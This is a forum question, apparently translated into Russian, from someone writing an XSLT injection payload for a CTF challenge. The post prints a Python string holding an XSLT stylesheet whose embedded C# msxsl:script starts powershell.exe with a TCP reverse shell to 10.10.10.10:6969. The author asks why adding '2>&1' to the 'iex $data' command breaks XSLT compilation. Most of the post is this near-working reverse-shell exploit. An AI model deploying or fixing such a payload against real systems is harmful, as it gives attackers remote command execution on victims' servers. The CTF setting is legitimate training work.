Я пишу полезную нагрузку для вызова CTF, чтобы получить обратную оболочку. Но определенная часть кода вызывает ошибку компиляции XSLT. Эксплойт написан на python, а переменная полезной нагрузки выглядит следующим образом:
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "$client = New-Object System.Net.Sockets.TCPClient(\'10.10.10.10\',6969);\
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); \
$sendback = \'M \'; $sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \'; \
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);\
$stream.Flush();};$client.Close()"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
, где значение $ sendback должно быть (iex $ data 2> & 1 | Out-String) (сейчас я написал 'M' для устранения неполадок), но это вызывает ошибку компиляции XSLT при замене на команду iex.
В чем проблема?
Редактировать: Я сузил проблему, $sendback=(iex $data | Out-String)
работает , но не с "2> & 1" , Почему?